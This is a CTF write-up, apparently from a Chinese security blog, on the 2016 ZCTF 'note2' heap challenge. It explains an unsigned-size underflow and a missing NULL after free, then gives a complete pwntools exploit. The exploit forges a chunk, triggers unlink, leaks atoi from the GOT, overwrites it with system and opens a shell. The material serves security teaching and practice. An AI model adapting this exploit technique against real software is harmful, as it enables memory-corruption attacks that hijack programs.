[Unlink]2016-ZCTF-note2

0x00 前言

  • 依然是CTF-WIKI上关于Unlink的一道例题。

  • 题目下载链接:下载链接

  • 参考链接:

CTF-WIKI

简书

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
  • 程序提供了5个选项。

  • New note,创建note,每个note的size和chunk都会存在bss段的对应位置。

  • Show note 能输出note的内容。

  • Edit note提供了overwrite和append两种方式。

  • Delete note能执行正常的free。

  • Exit 退出程序

漏洞点1

  • 漏洞点1: 在New note中,我们的size采用的是unsigned int类型,但是在我们的读入函数MyRead((__int64)ptr, size, 10);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 __fastcall MyRead(__int64 a1, __int64 a2, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h]
ssize_t v7; // [rsp+38h] [rbp-8h]

v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i )
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(_BYTE *)(i + a1) = buf;
}
*(_BYTE *)(a1 + i) = 0;
return i;
}
  • 也就是在for循环的终止条件中,i 是与 a2(也就是我们的size)-1进行比较。 假设我们的size设为0,由于sizeunsigned int类型,那么size-1将是4294967295这么大,我们就可以输入非常多的内容从而造成堆溢出了。
  • 由于glibc的分配内存机制,当我们的size = 0时,实际会分配给我们0x20的内存块。

漏洞点2

  • 漏洞点2: 在Edit note中,程序只free掉了v8,并没有置NULL

思路

  • 本文利用的是漏洞点1, 貌似也可以利用漏洞点2?还请大佬们指教。

  • 创建三个chunk,大小分别为0x80,0x0,0x80,在chunk0中伪造chunk,通过chunk1的漏洞,修改掉chunk2prev_size和size里的prev_inuse标志位,free掉chunk2,触发unlink,想办法泄露出某个函数的地址,然后推算出libcbase,从而得到system地址,将atoi覆盖成system,执行system('/bin/sh)

0x02 Let’s do it!

前期模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

c = process('./note2')
libc = ELF('./libc.so.6')
elf = ELF('./note2')
#context.log_level = 'debug'

def new(size,cont):
c.recvuntil('option--->>')
c.sendline('1')
c.recvuntil('(less than 128)')
c.sendline(str(size))
c.recvuntil('Input the note content:')
c.sendline(str(cont))

def show(idx):
c.recvuntil('option--->>')
c.sendline('2')
c.recvuntil('Input the id of the note:')
c.sendline(str(idx))

def edit(id, choice, cont):
c.recvuntil('option--->>')
c.sendline('3')
c.recvuntil('note:')
c.sendline(str(id))
c.recvuntil('2.append]')
c.sendline(str(choice))
c.sendline(cont)

def delete(idx):
c.recvuntil('option--->>')
c.sendline('4')
c.recvuntil('Input the id of the note:')
c.sendline(str(idx))

c.recvuntil('name:')
c.sendline('liulian')
c.recvuntil('address:')
c.sendline('aaaa')

创建note,并伪造chunk

  • CTF-WIKI中,伪造chunk里的内容有点绕,不太好理解。
  • 本文的伪造chunk和CTF-WIKI中的不一样,相对来说更好理解一些吧,但是对大佬来说估计都一样..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
head = 0x602120
fakefd = head - 0x18
fakebk = head - 0x10

content = 'a' * 8 #padding
content += p64(0xa1)#fakechunk's size
content += p64(fakefd)
content += p64(fakebk)

new(0x80,content)

new(0,'aaaa')

new(0x80,'bbbb')
  • 对于伪造chunk的size为什么是0xa1?

  • 当它的size正好等于0xa1的时候,这个伪造chunk正好包含住chunk1且紧挨着chunk2

  • 当我们freechunk2,程序会根据chunk2presize来获得指向前一块chunk的指针。

  • 因此下一步就要想办法修改chunk2presizeinuse标志位

1
2
3
4
5
6
7
delete(1)

content = 'a'*16 + p64(0xa0) + p64(0x90)

new(0,content)

delete(2)
  • 当我们delete(1)的时候,由于该chunk属于fastbin,所以下次在申请的时候仍然会申请到该chunk,然后通过漏洞覆盖掉chunk2prevsizeinuse位

  • 随后当我们delete(2)

1
2
3
4
5
6
7
8
9
p是指向free掉的chunk2的指针

检查p指向chunk的size字段的pre_inuse位,是否为0(也就是检查当前chunk的前一块chunk是否是free的,如果是则进入向前合并的流程)

获取前一块chunk的size,并加到size中(以此来表示size大小上已经合并)

根据当前chunk的presize来获得指向前一块chunk的指针

将这个指针传入unlink的宏(也就是让free掉的chunk的前一块chunk进入到unlink流程)
  • 那么伪造chunk就会执行unlink,效果就是让前面的*(head) = head - 0x18

打印出atoi的地址,并计算libcbase

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
atoi_got = elf.got['atoi']

content = 'a'*0x18 + p64(atoi_got)
edit(0,1,content)

show(0)

c.recvuntil('is ')
atoi_addr = c.recvuntil('\n', drop=True)
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))

log.success('atoi_addr = ' + hex(atoi_addr))

libcbase = atoi_addr - libc.symbols['atoi']
system = libcbase + libc.symbols['system']

log.success('system = ' + hex(system))

将atoi变成system,并getshell

1
2
3
4
5
6
edit(0,1,p64(system))

c.recvuntil('option--->>')
c.sendline('/bin/sh')

c.interactive()

0x03 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

c = process('./note2')
libc = ELF('./libc.so.6')
elf = ELF('./note2')
context.log_level = 'debug'

def new(size,cont):
c.recvuntil('option--->>')
c.sendline('1')
c.recvuntil('(less than 128)')
c.sendline(str(size))
c.recvuntil('Input the note content:')
c.sendline(str(cont))

def show(idx):
c.recvuntil('option--->>')
c.sendline('2')
c.recvuntil('Input the id of the note:')
c.sendline(str(idx))

def edit(id, choice, cont):
c.recvuntil('option--->>')
c.sendline('3')
c.recvuntil('note:')
c.sendline(str(id))
c.recvuntil('2.append]')
c.sendline(str(choice))
c.sendline(cont)

def delete(idx):
c.recvuntil('option--->>')
c.sendline('4')
c.recvuntil('Input the id of the note:')
c.sendline(str(idx))

c.recvuntil('name:')
c.sendline('liulian')
c.recvuntil('address:')
c.sendline('aaaa')

head = 0x602120
fakefd = head - 0x18
fakebk = head - 0x10

content = 'a' * 8 #padding
content += p64(0xa1)#fakechunk's size
content += p64(fakefd)
content += p64(fakebk)

new(0x80,content)

new(0,'aaaa')

new(0x80,'bbbb')

delete(1)

content = 'a'*16 + p64(0xa0) + p64(0x90)

new(0,content)

delete(2)

atoi_got = elf.got['atoi']

content = 'a'*0x18 + p64(atoi_got)
edit(0,1,content)

show(0)

c.recvuntil('is ')
atoi_addr = c.recvuntil('\n', drop=True)
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))

log.success('atoi_addr = ' + hex(atoi_addr))

libcbase = atoi_addr - libc.symbols['atoi']
system = libcbase + libc.symbols['system']

log.success('system = ' + hex(system))

edit(0,1,p64(system))

c.recvuntil('option--->>')
c.sendline('/bin/sh')


c.interactive()